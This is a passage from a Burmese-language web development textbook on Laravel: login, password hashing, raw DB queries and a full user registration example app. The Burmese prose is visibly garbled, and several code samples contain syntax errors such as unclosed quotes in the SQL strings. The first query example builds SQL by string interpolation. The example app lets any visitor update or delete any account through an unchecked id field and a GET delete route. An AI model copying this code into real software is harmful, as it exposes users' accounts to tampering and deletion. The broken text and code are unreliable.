ဒါဟာ Cross-Site Request Forgery လ့ုိိခါ်တဲ့ လုံပခုံိရေးပပဿနာကုိြ ကြာကွြာိပးတဲ့ နညး်စနစ်ပဖေစ်ပပးီ  Laravel
မာှ  Login  Form  သာမကြ  Form  အားလုံး  ဒလီပု်ိ ဆာငခ်ျက်ြကုိြ  မပဖေစ်မိန အသံုးပပုရေမာှ  ပဖေစ်ပါတယ်။  Login
Form ကြန ိပးပိုလ့ာတဲ့ တနဖ်ေိုးကုိြ အသံုးပပုပပးီ Authenticate လပုတ်ဲ့လပုင်န်းကုိြ အခလုို ိဆာငရ်ေက်ွြနိုငပ်ါတယ်။

$input = Request::all();

if(Auth::attempt( array(
'email' => $input['email'], 
'password' => $input['password']

))) {
return redirect('user/profile');

} else {
return redirect('user/login')->withErrors(

array('Login failed! Try again.')
);

}

ပထမဦးဆံုးအိနနဲ့  Login  Form  ကြ ိပးပိုလ့ာတဲ့  Data  ကုိြ  Request::all() နဲ့ရေယူပါတယ်။  ပပးီတဲ့အခါ
Auth::attempt() Function  ကုိြသံုးပပးီ  Login Form  ကြိပးပိုလ့ာတဲ့  Email  နဲ့  Password  ဟာ  users
Table ထဲမာှ သိမး်ဆညး်ထားတဲ့ email, password နဲ့ ကုိြက်ြညပီခငး်ရေှိမရေှိ စီစစ်ထားပခငး်ပဖေစ်ပါတယ်။ ကုိြက်ြညီ
တယ်ဆုိရေင်  Login  ိအာငပ်မငမ်ာှပဖေစ်ပါတယ်။  Login  ိအာငပ်မငပ်ပးီ  Authenticate  ပဖေစ်ိနပခငး်ရေှိမရေှိကိြု
Auth::check() Function နဲ့ စီစစ်နိုငပ်ါတယ်။ 

if( !Auth::check() ) {
return redirect('user/login')->with('info', 'Please login first!');

}

နမနူာအရေ Authenticate ပဖေစ်မိနရေင် user/login ကုိြ Redirect လပု်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။ Authenticate
ပဖေစ်ထားတဲ့ User ရေဲ့  အချက်ြအလက်ြိတကုိွြ လိုချငရ်ေင်ိ တာ ့Auth::user() ကုိြ အသံုးပပု ရေယူနိုငပ်ါတယ်။

$user = Auth::user();

Authenticate ပဖေစ်ထားတဲ့ User ကုိြ Logout ပပုလပုလ်ိုရေင်ိ တာ့ Auth::logout() ကုိြ အသံုးပပုနိုငပ်ါတယ်။ 

Authentication နဲ့အတူ တွဲဖေက်ြမတှသ်ားရေမာှကြိတာ့ Password Hash ပဖေစ်ပါတယ်။ Password ိတကုိွြ users
Table ထဲမာှ သိမး်တဲ့အခါ Plain Text အိနနဲ့ မသိမး်သင့်ပဲ  Hash ပပုလပုပ်ပးီမှ သိမ်းသင့်ပါတယ်။ အ့ဲဒလီို့  Hash
ပပုလပုန်ိုငဖ်ေို့ အတက်ွြ Laravel ရေဲ့  Hash Class ကုိြ အသံုးပပုနိုငပ်ါတယ်။
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use Hash;

Hash::make() Function ကုိြ Password ိတ ွHash ပပုလပုဖ်ေို့ သံုးနိုငပ်ါတယ်။

$password = 'mypassword';
$hashed_password = Hash::make($password);

Hash::make() ကြ ပပန်ိ ပးတဲ့ Hash လုပပ်ပးီသား Password ကုိြသာ users Table ထဲမာှ သိမး်ဆညး်သင့်ပါ
တယ်။ Auth::attempt() Function နဲ့  Login ဝငဖ်ေို့ ကကိြုးစားတဲ့အခါမာှလညး် Laravel ကြ User ိပးလိုက်ြ
တဲ့  Password ကုိြ  Hash လုပပ်ပးီမသှာ users Table ထကဲြ Password Hash နဲ့ တိုက်ြဆုိင် စစ်ိဆးမာှပဲ ပဖေစ်ပါ
တယ်။  Password Hash  ရေဲ့  လုံပခုံိရေးမာှ အိရေးပါပုံကိြု  အခန်း  (၁၅) Web App Security မာှ ဆက်ြလက်ြိဖောပ်ပ
ိပးမာှ ပဖေစ်ပါတယ်။

12.8 - Database
Laravel မာှ Database နဲ့ပတသ်က်ြတဲ့ လပုင်နး်ိတအွတက်ွြ Eloquent လိုိ့ ခါ်တဲ့ ORM နညး်ပညာတစ်မျို း ပါဝင်
ပါတယ်။  အ့ဲဒနီညး်ပညာကုိြ  ဒီိ နရောမာှ  ထည့်သွငး်မိဖောပ်ပိတာပ့၊ဲ  ိရေှ့ပိုငး်အခနး်ိတမွာှ  ိလ့လာခဲ့ပပီးပဖေစ်တဲ့
Database Query  ိတကုိွြသာ ဆက်ြလက်ြအသံုးပပုသွားမာှ  ပဖေစ်ပါတယ်။  Laravel  မာှ  Database  နဲ့ပတသ်က်ြတဲ့
လပုင်နး်ိတအွတက်ွြ DB ဆုိတဲ့ Class တစ်ခဟုာ တစ်ခါတညး် ပါဝငလ်ာပပးီပဖေစ်ပါတယ်။ 

use DB;

class User 
{
    static function create() {
        $name = 'John Doe';
        $email = 'john@example.com';
        $result = DB::insert("INSERT INTO users (name, email) 

VALUES ('$name', '$email'));

        return $result;
    }
}

နမနူာကုိြိလလ့ာအကြည့်ရေင် DB Class ကုိြ အသံုးပပုမယ့်အိအကြာငး် use Keyword နဲ့ ိအကြပငာထားတာကုိြ ိတွ့ရေမာှ
ပဖေစ်  ပါတယ်။ ပပးီတဲ့အခါ  User အမညန်ဲ့  Class  တစ်ခတုည်ိ ဆာက်ြပပးီ  create() Function  ကုိြ  ထည့်သွငး်
ိရေးသားထားပါတယ်။ create() Function အတငွး်မာှ DB::insert() ကုိြ သံုးပပီး INSERT Query တစ်ခု
ကုိြ Run ထားပခငး်ပဖေစ်ပါတယ်။ ဒီိ နရောမာှ သတပိပုရေမာှကြ၊ create() Function ကုိြ static Function အပဖေစ်
ိအကြပငာပပဲဖေစ်ပါတယ်။ ဒါိအကြာင့် create() Function ကုိြ အသံုးပပုလိုတဲ့အခါ Object ိတတွည်ိ ဆာက်ြဖေို့မလိုပဲ
Class Name ပဖေစ်တဲ့ User ကြိန အခလုို တိုက်ြရုိက်ြအသံုးပပုနိုငမ်ာှ ပဖေစ်ပါတယ။်
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User::create();

Query ိတွိ ရေးတဲ့အခါ ပိုပပးီစနစ်ကြျတဲ့ ိရေးနညး်ကြ အခလုိုပဖေစ်မာှပါ။

static function create() {
    $name = 'John Doe';
    $email = 'john@example.com';
    $result = DB::insert("INSERT INTO users (name, email) VALUES (?, ?),
        array($name, $email)
    );

    return $result;
}

Query Statement  ထဲမာှ  Data Value  ိတပွဖေစ်တဲ့  $name နဲ့  $email ကုိြ  ထည့်မိရေးပဲ  DB::insert()
Function ရေဲ့  ဒတုယိ Parameter  အပဖေစ် ထည့်သွငး်ိပးထားပခင်း ပဖေစ်ပါတယ်။ ဒလီို  Query Statement  နဲ့  Data
ကုိြ ခွဲပခားိရေးသားထားပခငး်ဟာ လံုပခုံိရေးအတက်ွြ ပိုိ ကြာငး်တဲ့ နညး်လမး်ပဖေစ်ပါတယ်။ ဒသီိဘာသဘာဝကုိြ အခန်း
(၁၅) Web  App  Security မာှ  PHP  Database  Extension  တစ်ခပုဖေစ်တဲ့  PDO  အိအကြာငး်ိဖောပ်ပတဲ့အခါ
ဆက်ြလက်ြိဖောပ်ပိပးမာှ  ပဖေစ်ပါတယ်။ အမနှ်ိ တာ့  Laravel  ကြလညး်  Database  လပုင်နး်ိတအွတက်ွြ  PDO  ကုိြ
အသံုးပပုထားပခငး်ပဖေစ် ပါတယ်။

INSERT Query အတက်ွြ DB::insert() ကုိြ အသံုးပပုသလို SELECT Query အတက်ွြ DB::select() ကုိြ
အသံုးပပုနိုငပ်ါတယ်။

$result = DB::select('SELECT * FROM users');

DB::select() ကြ ရေရေှိလာတဲ့ ရေလဒကုိ်ြ Array တစ်ခအုိနနဲ့ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။ UPDATE Query အတက်ွြ
DB:update() ကုိြ  သံုးနိုငပ်ပးီ  DELETE Query  အတက်ွြ  DB::delete() တို့ကုိြ  အသံုးပပုနိုငပ်ါတယ်။  ဒီ
Function  ိတကွြိတာ့  UPDATE နဲ့  DELETE Query  ိတ ွ Run  လိုက်ြတဲ့အတက်ွြ သက်ြိရောက်ြသွားတဲ့  Record
အိရေအတက်ွြကုိြ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။

ဒလီို  Database  နဲ့ဆက်ြသွယ်အလပုလ်ပုတ်ဲ့  Class  ကုိြ  Model  အပဖေစ်  အလပုလ်ပု်ိ စလိုရေင်  /app/ Directory
ိအာက်ြမာှ ိရေးသားသိမ်းဆညး် ိပးရေမာှပဖေစ်ပပးီ  App\Models Namespace ထဲမာှလညး် ထည့်သွငး်ိပးရေမာှပဖေစ်
ပါတယ်။  Code  ဖေိုငရ်ေဲ့  အိပါ်ဆံုးမာှ  အခလုိုထည့်သွင်းိပးပခငး်အားပဖေင့်  Class  ကုိြ  Model Namespace  မာှ
ထည့်သွငး်နိုငပ်ါတယ်။

namespace App\Models;



Professional Web Developer - အခန်း (၁၂) MVC with Laravel 395

12.9 - User Registration System Example
ဆက်ြလက်ြပပးီ လက်ြိတွ့နမနူာအိနနဲ့ စမး်သပန်ိုင်ိ စဖေို့အတက်ွြ User Registration System တစ်ခု ိရေးသားပုံကုိြ
ိဖောပ်ပ ိပးသွားမာှ ပဖေစ်ပါတယ်။  Code  နမနူာကုိြ အဓကိြိဖောပ်ပိတာမ့ာှပဖေစ်ပပးီ  Code  ရေဲ့  အလပုလ်ပုပ်ုံ အဓပိ္ပါယ်ကိြု
ိတာ ့ိရေှ့ပိုငး်မာှ ိဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့ အချက်ြိတွိ ပါ်အိပခခပံပးီ ကုိြယ်တိုငန်ားလည်ိ အာင ်ဖေတယူ်ရေမာှ ပဖေစ်ပါတယ်။

ပထမဦးဆံုးအိနနဲ့ လိုအပတ်ဲ့ M-V-C ဖေိုင်ိ တ ွတည်ိ ဆာက်ြရေပါမယ်။ 

laravel
├── app
│   ├── … 
│   ├── Http
│   │   ├── Controllers
│   │   │   ├── … 
│   │   │   └── UserController.php (new)
│   │   ├── … 
│   │   └── routes.php
│   ├── Models (new)
│   │   └── User.php (new)
│   └── … 
├── config
│   ├── auth.php
│   ├── …
│   └── database.php
├── … 
├── public
│   ├── css
│   │   └── app.css
│   ├── … 
│   └── index.php
├── resources
│   ├── … 
│   └── views
│       ├── … 
│       ├── template.blade.php (new)
│       └── user (new)
│           ├── login.blade.php (new)
│           ├── profile.blade.php (new)
│           └── register.blade.php (new)
└── … 

1. /app/Http/Controllers/ ထမဲာှ UserController.php ကုိြ တည်ိ ဆာက်ြိပးရေပါမယ်။
2. /app/ ထမဲာှ Models အမညန်ဲ ့Directory တစ်ခတုည်ိ ဆာက်ြိပးရေပါမယ်။
3. /app/Models/ ထမဲာှ User.php ကုိြ တည်ိ ဆာက်ြိပးရေပါမယ်။
4. /resources/views/ ထမဲာှ template.blade.php ဆုိတဲ့ Master View တည်ိ ဆာက်ြပါ။
5. /resources/views/ ထမဲာှ user ဆုိတဲ့ Directory တစ်ခ ုတည်ိ ဆာက်ြိပးရေပါမယ်။
6. /resources/views/user/ ထမဲာှ ိအာက်ြပါ View ဖေိုင်ိ တကုိွြ တည်ိ ဆာက်ြရေပါမယ်။

◦ login.blade.php, profile.blade.php, register.blade.php
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ဆက်ြလက်ြပပးီ  Code  ိတ ွ စတငမ်ိရေးသားမီ  User  Account  ိတ ွ သိမး်ဖေိုအ့တက်ွြ  Database  Table  တစ်ခု
ကကိြုတင်  တည်ိ ဆာက်ြ  ိပးပါမယ်။  phpMyAdmin  ကုိြဖေငွ့်ပပးီ  mydb ဆုိတဲ့  အမညန်ဲ့  Database  တစ်ခု
တည်ိ ဆာက်ြပါ။ ပပးီတဲ့အခါ users ဆုိတဲ့ အမညန်ဲ ့Table တစ်ခကုိုြ ိအာက်ြပါ Field ိတနွဲ့ တည်ိ ဆာက်ြိပးပါ။

users Table
id - INT - Auto Increment / Primary Key
name - VARCHAR (255)
email - VARCHAR (255)
phone - VARCHAR (255)
address - TEXT
password - VARCHAR (255)
remember_token - VARCHAR (255)

ဆက်ြလက်ြပပးီ လိုအပတ်ဲ့ Setting တစ်ချို ့ိတာ့ ပပင်ိ ရေးပါမယ်။ ကြျွန်ိ တာတ်ို့ကြ Eloquent ORM ကုိြ မသံုးထားတဲ့
အတက်ွြ /config/auth.php မာှ - 

'users' => [
    'driver' => 'eloquent',
    'model' => App\User::class,
 ],

ကုိြ ိအာက်ြပါအတိုငး် ိပပာငး်ိပးဖေို့ လိုပါတယ်။

'users' => [
    'driver' => 'database',
    'table' => 'users',
 ],

ပပးီတဲ့အခါ /config/database.php မာှ Database Setting ိတကုိွြ အခလုို ပပငဆ်င်ိ ပးရေပါမယ်။

'mysql' => [
    'driver' => 'mysql',
    'host' => 'localhost',
    'port' => '3306',
    'database' => 'mydb',
    'username' => 'root',
    'password' => '',
    'charset' => 'utf8',
    'collation' => 'utf8_unicode_ci',
    'prefix' => '',
    'strict' => false,
    'engine' => null,
    ],
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database, username နဲ့  password တို့ကုိြ  သင့ိ် တာသ်လို ပပငဆ်င်ိ ပးရေမာှ  ပဖေစ်ပပးီ  strict ကုိြလညး်
false လို့ သတမ်တှထ်ားတာကုိြ သတပိပုပါ။ 

ဆက်ြလက်ြပပးီ /routes/web.php မာှ ိအာက်ြပါ Code ကုိြ ကူြးယူိရေးသားိပးပါ။

<?php

Route::get('/', 'UserController@index');
Route::get('/user/login', 'UserController@index');
Route::post('/user/login', 'UserController@login');

Route::get('/user/register', 'UserController@register');
Route::post('/user/register', 'UserController@create');

Route::get('/user/profile', 'UserController@profile');
Route::post('/user/profile', 'UserController@update');

Route::get('/user/logout', 'UserController@logout');

Route::get('/user/delete/{id}', 'UserController@delete');

• ိပးထားတဲ့ Code အရေ Root URI အတက်ွြ GET Request တစ်ခု လက်ြခရံေရေှိရေင်  UserController
ရေဲ့  index Action ကုိြ အလပုလ်ပုမ်ာှ ပဖေစ်ပါတယ်၊

• /user/login URI ကုိြ  GET Request  တစ်ခု လက်ြခရံေရေှိရေငလ်ညး် UserController ရေဲ့  index
Action ကုိြပ ဲအလပုလ်ပု ်မာှ ပဖေစ်ပါတယ်။

• /user/login URL  ကုိြပဲ  POST Request  တစ်ခု  လက်ြခရံေရေှိရေင်ိ တာ့  UserController ရေဲ့
login Action ကုိြ အလပုလ်ပု်ိ ပးမာှ ပဖေစ်ပါတယ်။

ကြျန်  Route  ိတကုိွြိတာ့  ကုိြယ်တိုင်  ဆက်ြလက်ြိလလ့ာ  အကြည့်လိုက်ြပါ။  ဆက်ြလက်ြပပးီ  /app/Models/
user.php ထမဲာှ ိအာက်ြပါ Code ကုိြ ိရေးသားိပးပါ။
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<?php 
namespace App\Models;

use DB, Hash;

class User {
static function insert($input) {

$data = array(
$input['name'],
$input['email'],
Hash::make($input['password'])

);

$result = DB::insert("INSERT INTO users (
name, email, password

) VALUES (?, ?, ?)", $data);
return $result;

}

static function update($input) {
if($input['password']) {

$data = array(
$input['name'],
$input['email'],
Hash::make($input['password']),
$input['phone'],
$input['address'],
$input['id']

);

$result = DB::update("UPDATE users SET name = ?, email = ?, 
password = ?, phone = ?, address = ?
WHERE id = ?", $data);

} else {
$data = array(

$input['name'],
$input['email'],
$input['phone'],
$input['address'],
$input['id']

);

$result = DB::update("UPDATE users SET name = ?, email = ?, 
phone = ?, address = ?"
WHERE id = ?", $data);

}

return $result;
}

static function delete($user_id) {
$result = DB::delete("DELETE FROM users WHERE id = ?",

array($user_id));
return $result;

}
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}

ဒဖီေိုငမ်ာှပါဝငတ်ဲ့  User Class  ကုိြ  Model Class  ပဖေစ်ိစဖေို့အတက်ွြ  App\Models Namespace  မာှ ထည့်သွငး်
ထားပါတယ်။ ပပးီတဲ့အခါ Class ထမဲာှ insert(), update() နဲ့  delete() Function (၃) ခကုိုြ ိရေးသား
ထားပါတယ်။

insert() Function ကြ ိပးလာတဲ့ Input Data ကုိြ users Table ထဲမာှ ထည့်ိ ပးပါတယ်။ password ကုိြ
Hash လပုပ်ပးီမာှ ထည့်သွငး်ထားတာကုိြ သတပိပုပါ။ update() Function ကြိတာ့ ိပးလာတဲ့ Data ကုိြ users
Table မာှ Update လုပ်ိ ပးပါတယ်။ Input Data မာှ password ပါ မပါ စီစစ်ပပးီ ပါရေင ်password ကုိြ ထည့်ပပးီ
Update  လုပ်ိ ပမယ့်  မပါရေင်ိ တာ့  password ကုိြ  ချနပ်ပးီ  Update  လုပထ်ားပခငး်ပဖေစ်ပါတယ်။  delete()
Function ကြိတာ့ ိပးလာတဲ့ User ID နဲ့ ကုိြက်ြညတီဲ့ Record ကုိြ users Table ထကဲြိန ပယ်ဖေျက်ြတဲ့အလပုကုိ်ြ
လပုထ်ားပါတယ။် Model  တစ်ခရုေဲ့  တာဝနပ်ဖေစ်တဲ့  Data ိတ ွCreate, Read, Update, Delete လပုတ်ဲ့ လုပင်နး်
ိတကုိွြ ိရေးသားသတမ်တှထ်ားပခငး်ပဖေစ်ပါတယ။်

ဆက်ြလက်ြပပးီ /app/Http/Controllers/UserController.php မာှ ိအာက်ြပါ Code ကုိြ ိရေးပါ။

<?php 
namespace App\Http\Controllers;

use App\Http\Requests;
use App\Http\Controllers\Controller;

use Request;
use Validator;
use Auth;

use App\Models\User;

class UserController extends Controller {

function index() {
if(Auth::check())

return redirect("user/profile");

return view("user/login");
}

function login() {
$input = Request::all();

if(Auth::attempt([
'email' => $input['email'], 
'password' => $input['password']

])) {
return redirect('user/profile');

} else {
return redirect('user/login')

   ->withErrors(array('Login failed! Try again.'));
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}
}
function register() {

if(Auth::check())
return redirect("user/profile");

return view("user/register");
}
function create() {

$input = Request::all();

$validator = Validator::make($input, array(
"name" => "required",
"email" => "required|email|unique:users",
"password" => "required|min:6",
"password_again" => "same:password"

));

if($validator->passes()) {
User::insert($input);
return redirect('user/login')

   ->with('info', 'Register success!');
} else {

return redirect('user/register')
   ->withErrors($validator);

}
}
function profile() {

if(!Auth::check())
return redirect("user/login");

$user = Auth::user();
return view('user/profile', array(

'id' => $user->id,
'name' => $user->name,
'email' => $user->email,
'address' => $user->address,
'phone' => $user->phone

));
}
function update() {

$input = Request::all();
User::update($input);

return redirect("user/profile")
   ->with("info", "Profile Updated!");

}
function logout() {

Auth::logout();
return redirect('user/login');

}
function delete($user_id) {

Auth::logout();
User::delete($user_id);
return redirect('user/register');

}
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}

ိရေးသားထားတဲ့ Class ဟာ Controller Class ပဖေစ်ိစဖေို့အတက်ွြ App\Http\Controllers Namespace ထဲ
ကုိြ ထည့်သွငး်ထားပါတယ်။ ပပးီတဲ့အခါ User Request  ိတကုိွြ လက်ြခနံိုငဖ်ေိုအ့တက်ွြ App\Http\Requests နဲ့
ပငမ်  Controller  ပဖေစ်တဲ့  App\Http\Controller တို့ကုိြ  use Keyword  နဲ့  ိအကြပငာရေယူထားပါတယ်။
ဆက်ြလက်ြပပးီ  Request, Validator, Auth စတဲ့  Class  ိတကုိွြလညး် အသံုးပပုမယ့်အိအကြာငး် ိအကြပငာ
ထားပါတယ်။ ိနာက်ြဆံုးအိနနဲ့ ကြျွန်ိ တာတ်ို့ ကကိြုတင်ိ ရေးစားထားတဲ့  User Model  ကုိြ အသံုးပပုမယ့်အိအကြာငး်
ိအကြပငာထားပါတယ်။

• index Action  ကြ  Authentication  စီစစ်ပပးီ  Authenticate  ပဖေစ်ပပးီသားဆုိရေင်  user/profile
Route  ကုိြ  Redirect  လုပထ်ားပါတယ်။  Authenticate  မပဖေစ်ိသးရေင်ိ တာ့  user/login View  ကုိြ
ိဖောပ်ပိစထားပါတယ်။

• login Action ကြိတာ့ Login Form ကြ ိပးပို့လာတဲ့ Input Data ကုိြ ယူပပးီ Auth::attempt()
နဲ့  Authenticate  လုပ်ိ စပါတယ်။  Authenticate  လပုင်နး်ိအာငပ်မငရ်ေင်  user/profile Route  ကုိြ
Redirect  လုပ်ိ စပပးီ၊  မိအာငပ်မငရ်ေင်ိ တာ့  user/login Route  ကုိြ  Error  Message  နဲ့အတူ
Redirect လုပ်ိ စပါတယ်။

• register Action ကြ Authentication စီစစ်ပပီး Authenticate ပဖေစ်ပပးီသားဆုိရေင် user/profile
Route  ကုိြ  Redirect  လပုထ်ားပါတယ။်  Authenticate  မပဖေစ်ိသးရေင်ိ တာ့  user/register View
ကုိြ ိဖောပ်ပိစထားပါတယ်။

• create Action  ကြိတာ့  Register Form  ကြ ိပးပိုလ့ာတဲ့  Input Data  ကုိြ  Validate  စစ်ပါတယ။်
email Field အတက်ွြ unique ကုိြ ထည့်စစ်ထားတာကုိြ သတပိပုပါ။ unique:users ရေဲ့  အဓပိ္ပါယ်ကြ
users Table  ထမဲာှ  အရေငက်ြ  email ရေှိပပးီသားလားဆုိတာကုိြ  စစ်ခိုငး်လိုက်ြတဲ့သိဘာပဖေစ်ပါတယ်။
Validation Pass ပဖေစ်ရေင် Model ရေဲ့  insert() Function ကုိြ သံုးပပးီ User Data ကုိြ users Table
ထမဲာှ ထည့်သွငး်ိစပါတယ်။ ပပးီတဲ့အခါ user/login Route ကုိြ Redirect လပုပ်ါတယ်။ Validation
Fail ပဖေစ်ရေင်ိ တာ ့user/register Route ကုိြ Error Message နဲ့တစ်ကွြ Redirect လုပပ်ါတယ။် 

• profile Action  ကြိတာ့  Authentication  စီစစ်ပပီး  Authenticate  မပဖေစ်ိသးရေင်  user/login
Route ကုိြ Redirect လုပထ်ားပါတယ်။ Authenticate ပဖေစ်ပပးီသားဆုိရေင်ိ တာ့ user/profile View
ကုိြ ိဖောပ်ပိစပပးီ၊ View နဲ့အတူ အသံုးပပုနိုငဖ်ေိုအ့တက်ွြ လက်ြရေှိ Login ဝငထ်ားသူ User ရေဲ့  အချက်ြအလက်ြ
ိတကုိွြ တွဲဖေက်ြထည့်သွငး် ိပးထားပါတယ်။

ကြျန ်update, logout နဲ့ delete Action ိတကုိွြိတာ ့ကုိြယ်တိုငပ်ဲ ဆက်ြလက်ြိလလ့ာ အကြည့်လိုက်ြပါ။

လိုအပတ်ဲ့ Route, Model နဲ့ Controller တို့ ရေရေှိသွားပပပီဖေစ်လို့ View Template ိတ ွဆက်ြလက်ြတည်ိ ဆာက်ြရေပါ
မယ်။  Master  View  ပဖေစ်တဲ့  /resources/views/template.blade.php မာှ  ိအာက်ြပါအတိုငး်  ိရေး
သားိပးပါ။
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<!DOCTYPE html>
<html lang="en">
<head>

<meta charset="UTF-8">
<title>Laravel Example</title>

<link href="<?= URL::asset('css/app.css') ?>" rel="stylesheet">
</head>
<body>

<h1>Laravel Example</h1>
<div class="container">

@yield("main")
</div>

</body>
</html>

CSS ဖေိုငခ်ျတိဆ်က်ြဖေိုအ့တက်ွြ  Path  လမး်ိအကြာငး်ကုိြ  URL::asset() အကူြအညနီဲ့ ရေယူထားတာကုိြ သတပိပုပါ။
ဆက်ြလက်ြပပးီ /resources/views/user/login.blade.php မာှ ိအာက်ြပါအတိုင်း ိရေးသားိပးပါ။

@extends("template")

@section("main")
<h2>Login</h2>
<? if( count($errors) ): ?>
<div class="errors">

<ul>
<? foreach($errors->all() as $err): ?>

<li><?= $err ?></li>
<? endforeach; ?>

</ul>
</div>
<? endif; ?>

<? if( session('info') ): ?>
<div class="info">

<?= session('info') ?>
</div>
<? endif; ?>

<form method="post" action="<?= URL::to('user/login') ?>">
<input type="hidden" name="_token" value="<?= csrf_token() ?>">

<input type="email" name="email" required placeholder="Your Email"><br>
<input type="password" name="password" required placeholder="Password">

<br><br>

<input type="submit" value="Login">
<a href='<?= URL::to('user/register') ?>'>Register</a>

</form>
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@stop

Login Form တစ်ခပုဖေစ်ပပးီ  Error  နဲ့  Message ိတရွေှိရေင် ိဖောပ်ပဖေို့ တစ်ခါတညး် သတမ်တှထ်ားပါတယ်။ ိအာက်ြ
နားမာှ  user/register Route  ကုိြ  ညွှနး်ထားတဲ့  Link  တစ်ခလုညး် ထည့်ထားပါိသးတယ်။ ဆက်ြလက်ြပပးီ
Register  Form  အတက်ွြ  /resources/views/user/register.blade.php မာှ  ိအာက်ြပါအတိုင်း
ိရေးသားပါ။

@extends("template")

@section("main")
<h2>Register</h2>

<? if( count($errors) ): ?>
<div class="errors">

<ul>
<? foreach($errors->all() as $err): ?>

<li><?= $err ?></li>
<? endforeach; ?>

</ul>
</div>
<? endif; ?>

<form action="<?= URL::to('user/register') ?>" method="post">

<input type="hidden" name="_token" value="<?= csrf_token() ?>">

<input type="text" name="name" required placeholder="Your Name"><br>
<input type="email" name="email" required placeholder="Your Email"><br>
<input type="password" name="password" required 

   placeholder="Password"><br>
<input type="password" name="password_again" required 

   placeholder="Password Again">

<br><br>

<input type="submit" value="Register">
<a href='<?= URL::to('user/login') ?>'>Login</a>

</form>
@stop

ဆက်ြလက်ြပပးီ  User  Profile  ိဖောပ်ပဖေို့အတက်ွြ  /resources/views/user/profile.blade.php မာှ
ိအာက်ြပါအတိုငး် ိရေးသားိပးပါ။
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@extends("template")

@section("main")
<? if( session('info') ): ?>
<div class="info">

<?= session('info') ?>
</div>
<? endif; ?>

<form action="<?= URL::to('user/profile') ?>" method="post">

<input type="hidden" name="_token" value="<?= csrf_token() ?>">
<input type="hidden" name="id" required value="<?= $id ?>">

<input type="text" name="name" required value="<?= $name ?>">
Name<br>
<input type="email" name="email" required value="<?= $email ?>">
Email<br><br>
<input type="text" name="phone" value="<?= $phone ?>">
Phone<br>

<input type="text" name="address" value="<?= $address ?>">
Address

<br><br>
<input type="password" name="password">
Password
<br><br>

<input type="submit" value="Update">

<br><br>

<a href="<?= URL::to("user/logout") ?>">Logout</a> |
<a href="<?= URL::to("user/delete/$id") ?>">Delete Account</a>

</form>
@stop

လိုအပတ်ဲ့  M-V-C  Code  ိတွိ တာ့  ပပည့်စံုပါပပ။ီ  Style  အချို ့ထည့်သွငး်လိုတဲ့အတက်ွြ  /public/css/
app.css မာှရေှိိ နတဲ့ မလူ CSS ိတကုိွြ ိအာက်ြပါ CSS Code နဲ့ အစားထိုးလိုက်ြပါ။

html, body {
margin: 0;
padding: 0;
font-family: arial, sans-serif;

}

html {
background: #efefef;



Professional Web Developer - အခန်း (၁၂) MVC with Laravel 405

}

body {
width: 600px;
margin: 20px auto;
background: #fff;
padding: 20px;
border: 4px solid #ddd;
border-radius: 5px;

}

h1 {
margin: 0 0 20px 0;
padding: 0 0 10px 0;
border-bottom: 1px solid #ddd;
font-size: 21px;

}

h2 {
color: #555;
padding: 0;
margin: 0 0 10px 0;
font-size: 16px;

}

.errors {
background: #fee;
border: 1px solid #900;
font-size: 13px;
margin: 10px 0;

}

.info {
background: #def;
border: 1px solid #09f;
font-size: 13px;
padding: 10px;
margin: 10px 0;

}

လိုအပတ်ဲ့  Code ိတွိ တာ့ စံုပါပပ။ီ အခုိ န Browser  မာှ  localhost/laravel/public ကုိြ ညွှနး်လိုက်ြရေင်
Login Form တစ်ခကုိုြ ိတွ့ ပမငရ်ေမာှပဲ ပဖေစ်ပါတယ်။ ကြျွန်ိ တာတ်ို့ကြ Route မာှ Root URI နဲ့ Request လုပလ်ာခဲ့
ရေင် UserController ရေဲ့  index Action ကုိြ အလပုလ်ပု်ိ ပးဖေို့ သတမ်တှထ်ားတဲ့အတက်ွြ ပဖေစ်ပါတယ်။ index
Action ကြ user/login View ကုိြ ိဖောပ်ပဖေို့ ဆက်ြလက်ြ သတမ်တှထ်ားတဲ့အတက်ွြ Login Form ကုိြ ပမင်ိ တွ့ရေ
ပခငး်ပဖေစ်ပါတယ်။

Register ပပုလပုအ်ကြည့်ပခငး်၊ Login ပပုလပုအ်ကြည့်ပခငး်အားပဖေင့် စတငစ်မး်သပ်အသံုးပပုနိုငပ်ပီ ပဖေစ်ပါတယ်။
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ိရေးသားထားတဲ့နမနူာ Code ကုိြ ိအာက်ြပါလပိစ်ာမာှ Download ရေယူနိုငပ်ါတယ်။

http://eimaung.com/pwd-rc/laravel-5.3-example.zip

Conclusion
Laravel  ဟာ ထူးပခားအသံုးဝငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြိတ ွအများအပပားပါဝငတ်ဲ့  Framework  တစ်ခပုဖေစ်ပါတယ်။ ဒီ
အခန်းမာှိတာ့  Laravel  ကုိြ အသံုးပပုပပးီ  M-V-C Code  ိတ ွိရေးသားနိုငပ်ုံကြိုသာ အသားိပးိဖောပ်ပခဲ့ပခငး်ပဖေစ်ပါ
တယ်။  Laravel  ရေဲ့  အားသာချက်ြိတကုိွြ ထထိိိ ရောက်ြိရောက်ြ အသံုးချနိုင်ိ စဖေိုအ့တက်ွြ ဆက်ြလက်ြပပီး အဆင့်လိုက်ြ
ိလလ့ာသွားသင့်တဲ့ အိအကြာငး်အရောိတကုိွြ ိဖောပ်ပိပးလိုက်ြပါတယ်။

Composer - https://getcomposer.org/
Database Migration - http://laravel.com/docs/5.3/migrations
Eloquent ORM - http://laravel.com/docs/5.3/eloquent
Blade Template Engine - http://laravel.com/docs/5.3/blade
Artisan CLI - http://laravel.com/docs/5.3/artisan
Middleware - http://laravel.com/docs/5.3/middleware
Homestead - http://laravel.com/docs/5.3/homestead

ပုံ (၁၂-ဂ) - User Registration System Example

http://laravel.com/docs/5.3/homestead
http://laravel.com/docs/5.3/middleware
http://laravel.com/docs/5.3/artisan
http://laravel.com/docs/5.3/blade
http://laravel.com/docs/5.3/eloquent
http://laravel.com/docs/5.3/migrations
https://getcomposer.org/
http://eimaung.com/pwd-rc/laravel-5.3-example.zip
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အခနး် (၁၃) HTML5 Overview
ိခတ်သစ် App Development Platform

အခန်း (၂) မာှ HTML အိအကြာငး်ိဖောပ်ပခဲ့စဉက်ြ Semantic Document Structure ရေဲ့အိရေးပါမှုနဲ့အတူ  HTML
